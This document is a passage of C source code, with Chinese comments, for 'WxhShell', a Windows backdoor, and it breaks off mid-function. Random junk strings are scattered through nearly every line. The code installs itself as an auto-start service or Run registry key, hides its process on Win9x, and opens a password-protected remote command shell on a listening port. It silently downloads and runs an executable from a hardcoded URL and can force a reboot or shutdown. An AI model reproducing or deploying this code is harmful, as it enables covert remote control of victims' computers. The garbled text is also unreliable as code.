il nP+jkNn3 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ke19(r Ch if(NULL == hInst ) return 0; v<vaPvW !,O Y{=' g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2Ft#S8 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zsr; 37 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >9,LN;Ic >rY^Un{Z if (!NtQueryInformationProcess) return 0; 3
p!t_y|SX jJV1 /]TJ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D77s3AyHK if(!hProcess) return 0; "eIE5h SedVp cb+ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +R',$YzD v9 8s78 CloseHandle(hProcess); F./P,hhN9 "h:#'y$V hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); hu5o{8[ if(hProcess==NULL) return 0; kC
iOcl*$ Ki dbcZ HMODULE hMod; rih@(;)1 char procName[255]; [sl"\3) unsigned long cbNeeded; XblZlWP# sMcN[r if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); U
nS|"" tja7y"(] CloseHandle(hProcess); bO+e?&vQ% LY2QKjgP if(strstr(procName,"services")) return 1; // 以服务启动 5zPn-1uW Q6r7UM return 0; // 注册表启动 >/'/^h } Pv\-D<&@m /%AA\`:6 // 主模块 ?:3rVfO int StartWxhshell(LPSTR lpCmdLine) :'sMrf_EA { Je~`{n SOCKET wsl; q>m[vvt" BOOL val=TRUE; zKQXmyO int port=0; (^$SMuC struct sockaddr_in door; @@& ?,3 {-51rAyi if(wscfg.ws_autoins) Install(); >2mV{i& fJ;1ii~ port=atoi(lpCmdLine); "\qm +g ^TT_BAI if(port<=0) port=wscfg.ws_port; S$qpClXS, O)INM WSADATA data; !H(V%B% if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F6Qnz8| 9`Xr7gmQf if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; DI=?{A setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .50ql[En door.sin_family = AF_INET;
AtP!.p"j door.sin_addr.s_addr = inet_addr("127.0.0.1"); ivvm.7{ door.sin_port = htons(port); -o+; e3# ASa)xf9 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [#2X closesocket(wsl); 5>>JQ2'W return 1; @DK`#, } `%$+rbo~ sV`p3L8pl if(listen(wsl,2) == INVALID_SOCKET) { i!+0''i{# closesocket(wsl); ~N8$abQJV return 1; m{by% } YXDuhrs} Wxhshell(wsl); Q1P=A:*]9 WSACleanup(); l8+;)2p! yUvn h return 0; -_irkpdC[ qP72JxT } x<=R?4@rq b5W(}ka+ // 以NT服务方式启动 X{P=2h#g
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) } ^WmCX2a { j"n"=rTTQ DWORD status = 0; 8UXtIuQ DWORD specificError = 0xfffffff; "B0I$`~wu \I 7,1I serviceStatus.dwServiceType = SERVICE_WIN32; n4 o}}tI serviceStatus.dwCurrentState = SERVICE_START_PENDING; 2I{kLN1TY serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; U3|9a8^H serviceStatus.dwWin32ExitCode = 0; ^<Zye>KO serviceStatus.dwServiceSpecificExitCode = 0; ;]T;mb> serviceStatus.dwCheckPoint = 0; kNoS% ?1, serviceStatus.dwWaitHint = 0; )pG*_q 98lz2d/Fcq hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /-Nq DRmJ if (hServiceStatusHandle==0) return; <P#:dS%r [I=1
status = GetLastError(); F_~A8y if (status!=NO_ERROR) uEr[' > { [BFPIVD)h] serviceStatus.dwCurrentState = SERVICE_STOPPED; 4oN*J +"=+ serviceStatus.dwCheckPoint = 0; wpcqgc serviceStatus.dwWaitHint = 0; c1Hp serviceStatus.dwWin32ExitCode = status; 2!GyQ@&[W serviceStatus.dwServiceSpecificExitCode = specificError; R,m|+[sl SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ym
1; /' return; V:2{LR<R8 } 3y yVI# CwwZ~2 serviceStatus.dwCurrentState = SERVICE_RUNNING; Z=s.`?Z serviceStatus.dwCheckPoint = 0; ]r>m{"~E serviceStatus.dwWaitHint = 0; I.kuYD62 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "/d } N 'YzCq;M K6N+0# // 处理NT服务事件,比如:启动、停止 1'b}Y8YO VOID WINAPI NTServiceHandler(DWORD fdwControl) 63c\1]YB. { S%3&Y3S switch(fdwControl) fiW2m=h_ { a=M/0N{! case SERVICE_CONTROL_STOP: )jm!^m serviceStatus.dwWin32ExitCode = 0; z~#d@c\ serviceStatus.dwCurrentState = SERVICE_STOPPED; 1:Wl/9mL serviceStatus.dwCheckPoint = 0; ?%Gzd(YEY serviceStatus.dwWaitHint = 0; "-g5$v$de { ?7TuE!!M SetServiceStatus(hServiceStatusHandle, &serviceStatus); bkiMF$K,K } E6fs& return; 6\xfoy|j case SERVICE_CONTROL_PAUSE: S.!K serviceStatus.dwCurrentState = SERVICE_PAUSED; jz,Gj}3; break; -?vVV@W-O^ case SERVICE_CONTROL_CONTINUE: wLy:S .r serviceStatus.dwCurrentState = SERVICE_RUNNING; ];\XA;aOl} break; #&ayWef case SERVICE_CONTROL_INTERROGATE: iO 7s zi break; CRu {Ie5B }; (= Wu5H SetServiceStatus(hServiceStatusHandle, &serviceStatus); nf,Ez } ;Hn>Ew QI`&N(n // 标准应用程序主函数 -lb%X3` int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C#P7@ JE { AU<A\ yv\
j&B| // 获取操作系统版本 (1)b> 6 OsIsNt=GetOsVer(); lF~!F<^9 GetModuleFileName(NULL,ExeFile,MAX_PATH); R/l/GNm hI,+J> // 从命令行安装 Vsd4; if(strpbrk(lpCmdLine,"iI")) Install(); B* k|NZj ?gG%FzfQ/ // 下载执行文件 $'COsiK7 if(wscfg.ws_downexe) { )p[Qj58 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) n7hjYNJ WinExec(wscfg.ws_filenam,SW_HIDE); (/A
6kp? } `_(N(dm hHyB;(3~ if(!OsIsNt) { (8Te{K h' // 如果时win9x,隐藏进程并且设置为注册表启动 zin'&G>l HideProc(); lKV7IoJ&; StartWxhshell(lpCmdLine); g:Fo7*i } 5EL&?\e else e5m]mzF@ if(StartFromService()) Dw.Pv)'$ // 以服务方式启动 \!wo<UX% StartServiceCtrlDispatcher(DispatchTable); i wI} else QG5)mIJ // 普通方式启动 JY$+<`XM StartWxhshell(lpCmdLine); Vs(D(d, w$jq2?l return 0; Nzl`mx16 } c"zE :a_MT yDAvl+
6NGQU%Hd =========================================== C@ "l" ;R^=($ X _g6H&no[ k]S`A,~ ;TboS-Y 56H~MnX " wN:vI(C sq+cF/jo6 #include <stdio.h> ?6 "B4%7b #include <string.h> "O8iO!: #include <windows.h> 9XX:_9|I #include <winsock2.h> '3TfW61] #include <winsvc.h> 51`*VR]`K #include <urlmon.h> M7//*Q'? p?sFX$S #pragma comment (lib, "Ws2_32.lib") bRI `ZT0 #pragma comment (lib, "urlmon.lib") q1Ehl
S 9Rb
tFwbn #define MAX_USER 100 // 最大客户端连接数 q5~"8]Dls #define BUF_SOCK 200 // sock buffer @Op7OFY% #define KEY_BUFF 255 // 输入 buffer ]wEFm;N mg<S7+ #define REBOOT 0 // 重启 P>_ r6C #define SHUTDOWN 1 // 关机 ogG:Ai)90 4\m#:fj % #define DEF_PORT 5000 // 监听端口 bP7_QYQ6 "
l >tFa #define REG_LEN 16 // 注册表键长度 |] ]Rp #define SVC_LEN 80 // NT服务名长度 6{H@VF<QY!
MsP`w3b // 从dll定义API S&MF; E6 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?F9c6 $| typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z=^~]Mfa typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); r(I&`kF< typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); y(Tb=: QQQN}!xPj // wxhshell配置信息 v[<;z(7Qk struct WSCFG { `9nk{!X\ int ws_port; // 监听端口 !XT2'6nu char ws_passstr[REG_LEN]; // 口令 B X Et]+Q int ws_autoins; // 安装标记, 1=yes 0=no Mi7LyIu char ws_regname[REG_LEN]; // 注册表键名 2]+f<Z[/ char ws_svcname[REG_LEN]; // 服务名 !~te&ccPE char ws_svcdisp[SVC_LEN]; // 服务显示名 sNsWz.DLT# char ws_svcdesc[SVC_LEN]; // 服务描述信息 6&6t= char ws_passmsg[SVC_LEN]; // 密码输入提示信息 nmClP int ws_downexe; // 下载执行标记, 1=yes 0=no 53l !$#o char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" I04c7cDp char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6gB;m$:fV U^&y*gX1 }; '(SqHP|8&g \{a 64 // default Wxhshell configuration kD#hfYs)i struct WSCFG wscfg={DEF_PORT, 1!A'mkk8 "xuhuanlingzhe", fDKV` 1, w %R=kY)o "Wxhshell", %( #kJZ "Wxhshell", .]ZMxDZ "WxhShell Service", 'J_6SD "Wrsky Windows CmdShell Service", :F
pt>g "Please Input Your Password: ", ah15,<j 1, 1U8/.x| "http://www.wrsky.com/wxhshell.exe", 1a'0cSH "Wxhshell.exe" 2I0Zr;\f }; @c;:D`\p1C R&MetQ~-{ // 消息定义模块 im"3n= char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; } /aqh ;W char *msg_ws_prompt="\n\r? for help\n\r#>"; 3EA`]&d> char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; h8:5[;e char *msg_ws_ext="\n\rExit."; EOG&Xa char *msg_ws_end="\n\rQuit."; T49^ char *msg_ws_boot="\n\rReboot..."; 5`{u! QE char *msg_ws_poff="\n\rShutdown..."; C |P(,Xp char *msg_ws_down="\n\rSave to "; \' >d.'d 7-4S'rq+ char *msg_ws_err="\n\rErr!"; *iXaQu T char *msg_ws_ok="\n\rOK!"; DUvF SAokW, char ExeFile[MAX_PATH]; Tr"Bz! int nUser = 0; EsjZ;D,c( HANDLE handles[MAX_USER]; #~`d
;MC int OsIsNt; ejlau#8" ~~{+?v6B] SERVICE_STATUS serviceStatus; z{A~d SERVICE_STATUS_HANDLE hServiceStatusHandle; %VwkYAgA 6:AZZF1 // 函数声明 O.$OLK;v int Install(void); y1kI^B int Uninstall(void); 9bu1Ax1M int DownloadFile(char *sURL, SOCKET wsh); pRFlmg@/} int Boot(int flag); Io]KlR@!T void HideProc(void); qw}.
QwPT int GetOsVer(void); !]=S A & int Wxhshell(SOCKET wsl); ONm-zRx| void TalkWithClient(void *cs); 6U%F
mE @ int CmdShell(SOCKET sock); +lw*/\7 int StartFromService(void); ETrL3W< int StartWxhshell(LPSTR lpCmdLine); GUUd(xS{ N`NW*~ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); v6O5n(5,, VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'rSJ9Mw"x [k
// 数据结构和表定义 h:{^&d
a SERVICE_TABLE_ENTRY DispatchTable[] = e6_` { ]s}9-!{O
{wscfg.ws_svcname, NTServiceMain}, K'S\$ {NULL, NULL} r<EwtO+x }; :djbZ>< :;N2hnHoG // 自我安装 V7$-4%NL int Install(void) c!J|vRA5 { -Rj3cx char svExeFile[MAX_PATH]; F tay8m@f HKEY key; koy0A/\% strcpy(svExeFile,ExeFile); cD]#6PFA Z2&7HTz // 如果是win9x系统,修改注册表设为自启动 Ed>n/)Sm if(!OsIsNt) { 30Udba+{]p if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UOkVU*{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +p0Y*. RegCloseKey(key); W>J1JaO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { osI0m7ws: RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QHw{@* RegCloseKey(key); bipA{VU return 0; |jyD@Q,4 } xH{V.n&v }
7!^Zsp^+ } KBwY _ else { #s|,oIm lcuqzX{7 // 如果是NT以上系统,安装为系统服务 u~\ NL{ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =[IKwmCX if (schSCManager!=0) la89>pF { 9 N9Q#o$!. SC_HANDLE schService = CreateService oZ!+._9 ( jP"yG# schSCManager, CAbT9Wz& wscfg.ws_svcname, *KDwl<^A wscfg.ws_svcdisp, f(.t0{Etq SERVICE_ALL_ACCESS, ;-!O+c SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , s
Vg89I& SERVICE_AUTO_START, Lr<?eWdCwJ SERVICE_ERROR_NORMAL, uAv'%/ svExeFile, yvV]|B@sO NULL, o`7B@] NULL, xqzB=0 NULL, a\Dw*h?b~ NULL, [OQ+&\ NULL ;#S4$wISw` ); 'T*h0xX if (schService!=0) *sq+ Vc( { sH\ h{^ CloseServiceHandle(schService);
`d!~)D CloseServiceHandle(schSCManager); `(pe#Xxn strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }R)A%FKi@ strcat(svExeFile,wscfg.ws_svcname); # 3gdT if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'cvc\=p RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); l8By2{pN RegCloseKey(key); A3zO&4f
] return 0; Nt_7Z } ~+O ws } CUa`# CloseServiceHandle(schSCManager); 6cbIs_g } a~O](/+p; } CB>O%m[1 DK }1T return 1; J)_IfbY } 99&PY[f:{ MI*@^{G // 自我卸载 T.iVY5^< int Uninstall(void) BxHfL8$1[$ { R4[dh.lf HKEY key; #{suH7 H"%SzU if(!OsIsNt) { ~6Df~uN if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I=o/1:[- RegDeleteValue(key,wscfg.ws_regname); L6"?p-:@' RegCloseKey(key); _dynqF8* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VU(#5X%Pn RegDeleteValue(key,wscfg.ws_regname); >}>cJh6 RegCloseKey(key); LOlj8T8Z return 0; >;OwBzB } _:.'\d( } (S
k+nD } _-bEnF+/0 else { jGKas I` 6'QlC+E SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); j[\aGS7u if (schSCManager!=0) s14; \ { \_PD@A9 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &g\?znF]H if (schService!=0) e?eX9yA7F { b5d;_-~d if(DeleteService(schService)!=0) { p_l.a CloseServiceHandle(schService); bAm ,gP CloseServiceHandle(schSCManager); ICXz(?a return 0; 3(R]QO`%' }
"xY]& CloseServiceHandle(schService); Ikj_
0/%F } g'{hp: CloseServiceHandle(schSCManager); h?`'%m?_b } <%Afa# } Nlfz'_0M L'$;;eM4 return 1; rH5'+x K } zwpgf |!?`KO{ // 从指定url下载文件 !L\P.FP7b int DownloadFile(char *sURL, SOCKET wsh) UA$Xa1 { &?j]L4% HRESULT hr; $Y31YA char seps[]= "/"; 0w<qj T^U char *token; xlU:&=| char *file; =}Xw}X+[WY char myURL[MAX_PATH]; xyc`p[n& char myFILE[MAX_PATH]; 29GcNiE`T k4Ub+F strcpy(myURL,sURL); H`X>
token=strtok(myURL,seps); TWAt)Q"J while(token!=NULL) iH[ .u{h { #ZvDf5A file=token; T*8rR" token=strtok(NULL,seps); !xo; $4 } mYiIwm1cb( W!
q-WU GetCurrentDirectory(MAX_PATH,myFILE); (L7@ez strcat(myFILE, "\\"); T|FF&|Pk strcat(myFILE, file); E]IPag8C send(wsh,myFILE,strlen(myFILE),0); IL2OVL X send(wsh,"...",3,0); J|GEt@o3 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); NgPY/R> if(hr==S_OK) 1>e%(k2w% return 0; (&t8.7O else ]@bu%_s" return 1; @-F[3`HeA lL{1wCsl } O9(6 ?n !K319 eE // 系统电源模块 zM*PN|/%sH int Boot(int flag) CH3bpZv { h|S6LgB HANDLE hToken; `SGI
Qrb TOKEN_PRIVILEGES tkp; ($A0umW1%
%h-?ff[ if(OsIsNt) { Q( \2(x\ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _ZU.;0 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #+]-}v3 tkp.PrivilegeCount = 1; 9#A&Qvyywg tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ss>p AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |g}~7*+i if(flag==REBOOT) { #X?#v7i",D if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) m? #J`?E return 0; ?g\SF}2 } 7o5~J)qIC else { JK@"
& if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
;'g.% return 0; (D5.NB%@ } _pS!sY~d } E A8>{}Z*
else { L-v-KO6 if(flag==REBOOT) { c (Gl3^ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Q!_@Am"h return 0; o#ajBOJ } `tb@x ^ else { KJ&~z? X if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) rAZsVnk? return 0; :VEy\ R>W } ]&l%L4Z } `zZGL&9m` &z"sT*3 return 1; loPBHoE3@H } ~'aK[3 ^w*$qzESy // win9x进程隐藏模块 Zc Y* TGx void HideProc(void) UAi] hUq { Sd0y=!Pj= v%6mH6V HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :n t\uwh if ( hKernel != NULL ) A>dA&'~R { iig ({b pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0 `L>t ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); MH8 Selnv FreeLibrary(hKernel); c3NUJ~>=y } p0S;$dH\D C@8WY return; qIIl,!&}A } %ymM#5A j%y)%4F8 // 获取操作系统版本 yA#-}Y|]b int GetOsVer(void) >
l@o\ { wK[Xm'QTPJ OSVERSIONINFO winfo; U;Ne"Jh winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Q:4euhz* GetVersionEx(&winfo); ;0!rq^JG if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) WKwU:im return 1; %G%D[ i] else $_P*Bk) return 0; pd1V8PZSG } #g6*s+Gm VP<_~OLc // 客户端句柄模块 vKvT7Zxc int Wxhshell(SOCKET wsl) /EpsJb`kj { 4}\Dr
%US SOCKET wsh; zw yK \j struct sockaddr_in client; H!+T2<F9R DWORD myID; w[V71Iej b&$sY!iU while(nUser<MAX_USER) GG@&jcp7 { *7yu&a8 int nSize=sizeof(client); %+y92'GqG/ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); N))G/m3 if(wsh==INVALID_SOCKET) return 1; X+*"FKm S. z&@Vg`w" handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); w u if(handles[nUser]==0) u0vq`5L closesocket(wsh); WF.y"{6> else {hLS,Me nUser++; )G">7cg;t } oNfNe^/T WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6UkX?I`> sP+ZE>7 return 0; JN
Ur?+g } #
[0>wEq v^;%Fz_Dr // 关闭 socket ~e)`D nJ void CloseIt(SOCKET wsh) ~/B[;# { =n}+p>\s closesocket(wsh); u=5~^ 9 nUser--; %Z"I=;=nxI ExitThread(0); +$YluGEJ } #(5hV7i P}El#y#& // 客户端请求句柄 e I 6G void TalkWithClient(void *cs) qrj:H4#VB { %z_PEqRj fs=W(~" SOCKET wsh=(SOCKET)cs; :]viLw\&g char pwd[SVC_LEN]; j(;o char cmd[KEY_BUFF]; _qPd)V6yb char chr[1]; ^j1WF[GiSO int i,j; BZP~m=kq m'Thm{Y,?n while (nUser < MAX_USER) { gUcG# r3hUa4^97 if(wscfg.ws_passstr) { -]?F if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v$H]=y //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ft"B, //ZeroMemory(pwd,KEY_BUFF); m R3km1T i=0; n;eK2+}] while(i<SVC_LEN) { wV9[Jl\Z *)2&gQ&%+ // 设置超时 (RL5L=,u fd_set FdRead; #SzCd&hI struct timeval TimeOut; S$Cht6m FD_ZERO(&FdRead); &D|wc4+ FD_SET(wsh,&FdRead); }h6N.vz TimeOut.tv_sec=8; {bSi3 oI TimeOut.tv_usec=0; B[]v[q< int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); KV!!D{VS`@ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); whzV7RT Z|z+[V}[ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `qjiC>9 pwd=chr[0]; A7;|~?? if(chr[0]==0xd || chr[0]==0xa) { FTihxC?.L pwd=0; jM E==)Y break; 1i.t^PY } <R6$ kom` i++; Rw54`_kFEB } <oE(I)r4, UY_'F5X // 如果是非法用户,关闭 socket !1:364 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {hr+ENgV } Wa8?o~0"L @"6dq;" send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J(\]3 9y send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m|RA@sY%` p.gaw16}> while(1) { gX}(6RP_! Y+k)d^6r ZeroMemory(cmd,KEY_BUFF); &wlSOC')j P(1bd"Q // 自动支持客户端 telnet标准 ,~!rn}MI< j=0; Sc<%$ Gd while(j<KEY_BUFF) { >lo,0oG if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H!D?;X cmd[j]=chr[0]; 0<{+M` G/ if(chr[0]==0xa || chr[0]==0xd) {
W6&s_ ( cmd[j]=0; DL ^}?Ve break; 6o_t;cpT } TZT1nj"n j++; @bN`+DC!< } H$
!78/f v Kzq7E // 下载文件 .}}w@NO if(strstr(cmd,"http://")) { #'qEm=% send(wsh,msg_ws_down,strlen(msg_ws_down),0); USKa6<:{W if(DownloadFile(cmd,wsh)) 2qb,bp1$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;xnJ+$//U else g|W|>`> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wX3x.@!: } F+Qp
mVU else { 0 ttM_]#q "Q:m0P
xb switch(cmd[0]) { vGK'U*gGD `YDe<@6' // 帮助 B r GaCja case '?': { DQ{Yr>J send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >f [Lb|t break; 6#/Riu% } L}bS"=B[&W // 安装 ? jywW$ case 'i': { <c[+60p" if(Install()) ,FvBZ.4c3= send(wsh,msg_ws_err,strlen(msg_ws_err),0); :
kVEB<G else .c[v /SB] send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MCOz-8@|Y break; =R08B)yR } r@_`ob RW; // 卸载 aj1o case 'r': { >Lh+(M;+F if(Uninstall()) 'J&& |